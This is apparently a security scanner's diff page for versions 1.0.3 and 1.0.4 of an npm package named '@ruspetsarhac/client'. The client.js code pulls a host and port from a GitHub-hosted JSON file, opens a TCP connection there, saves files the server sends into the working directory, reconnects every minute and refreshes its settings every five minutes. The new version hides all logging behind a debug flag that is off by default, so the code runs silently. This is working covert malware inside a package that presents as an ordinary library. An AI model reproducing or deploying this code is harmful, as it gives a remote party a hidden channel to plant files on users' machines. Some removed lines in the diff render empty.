@ruspetsarhac/client 1.0.3 → 1.0.4
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +1 -1
- package/src/client.js +27 -21
package/package.json
CHANGED
package/src/client.js
CHANGED
@@ -12,7 +12,7 @@ let isConnected = false;
|
|
12
12
|
let serverHost = '';
|
13
13
|
let serverPort = 0;
|
14
14
|
|
15
|
-
function fetchServerSettings(callback) {
|
15
|
+
function fetchServerSettings(callback, debug) {
|
16
16
|
const url = 'https://raw.githubusercontent.com/spetsar97hack/app/main/data.json';
|
17
17
|
https.get(url, (res) => {
|
18
18
|
let data = '';
|
@@ -24,7 +24,7 @@ function fetchServerSettings(callback) {
|
|
24
24
|
res.on('end', () => {
|
25
25
|
try {
|
26
26
|
const serverSettings = JSON.parse(data);
|
27
|
-
|
27
|
+
log(`serverSettings: ${JSON.stringify(serverSettings)}`, debug);
|
28
28
|
serverHost = serverSettings.host;
|
29
29
|
serverPort = serverSettings.port;
|
30
30
|
callback(null);
|
@@ -38,10 +38,10 @@ function fetchServerSettings(callback) {
|
|
38
38
|
});
|
39
39
|
}
|
40
40
|
|
41
|
-
function createConnection() {
|
41
|
+
function createConnection(debug) {
|
42
42
|
const socket = net.createConnection({ host: serverHost, port: serverPort }, () => {
|
43
43
|
isConnected = true;
|
44
|
-
|
44
|
+
log('Connected to server', debug);
|
45
45
|
});
|
46
46
|
|
47
47
|
socket.on('data', (data) => {
|
@@ -91,61 +91,67 @@ function createConnection() {
|
|
91
91
|
const fullPath = path.resolve(currentCwd, path.basename(filePath));
|
92
92
|
fs.writeFile(fullPath, fileBuffer, (err) => {
|
93
93
|
if (err) {
|
94
|
-
|
94
|
+
log(`Error saving file: ${err.message}`, debug);
|
95
95
|
} else {
|
96
|
-
|
96
|
+
log(`File saved as: ${fullPath}`, debug);
|
97
97
|
}
|
98
98
|
});
|
99
99
|
} else {
|
100
|
-
|
100
|
+
log(`[Server]: ${message}`, debug);
|
101
101
|
}
|
102
102
|
});
|
103
103
|
|
104
104
|
socket.on('end', () => {
|
105
105
|
isConnected = false;
|
106
|
-
|
106
|
+
log('Connection was ended', debug);
|
107
107
|
});
|
108
108
|
|
109
109
|
socket.on('error', (err) => {
|
110
110
|
isConnected = false;
|
111
|
-
|
111
|
+
log(`[!] Error: ${err.message}`, debug);
|
112
112
|
});
|
113
113
|
|
114
114
|
socket.on('close', () => {
|
115
115
|
isConnected = false;
|
116
|
-
|
116
|
+
log('Connection closed', debug);
|
117
117
|
});
|
118
118
|
|
119
119
|
return socket;
|
120
120
|
}
|
121
121
|
|
122
|
-
function startClient(
|
122
|
+
function startClient(debug = false) {
|
123
123
|
fetchServerSettings((error) => {
|
124
124
|
if (error) {
|
125
|
-
|
125
|
+
log(`Error fetching server settings: ${error.message}`, debug);
|
126
126
|
} else {
|
127
|
-
|
128
|
-
serverPort =
|
129
|
-
let socket = createConnection();
|
127
|
+
log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
|
128
|
+
serverPort = serverPort;
|
129
|
+
let socket = createConnection(debug);
|
130
130
|
|
131
131
|
setInterval(() => {
|
132
132
|
if (!isConnected) {
|
133
|
-
|
134
|
-
socket = createConnection();
|
133
|
+
log('Attempting to reconnect to the server...', debug);
|
134
|
+
socket = createConnection(debug);
|
135
135
|
}
|
136
136
|
}, 60000);
|
137
137
|
|
138
138
|
setInterval(() => {
|
139
139
|
fetchServerSettings((error) => {
|
140
140
|
if (error) {
|
141
|
-
|
141
|
+
log(`Error fetching server settings: ${error.message}`, debug);
|
142
142
|
} else {
|
143
|
-
|
143
|
+
log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`, debug);
|
144
144
|
}
|
145
|
-
});
|
145
|
+
}, debug);
|
146
146
|
}, 300000);
|
147
147
|
}
|
148
|
-
});
|
148
|
+
}, debug);
|
149
|
+
}
|
150
|
+
|
151
|
+
function log(message, debug) {
|
152
|
+
if (debug) {
|
153
|
+
console.log(message);
|
154
|
+
}
|
149
155
|
}
|
150
156
|
|
151
157
|
module.exports = { startClient };
|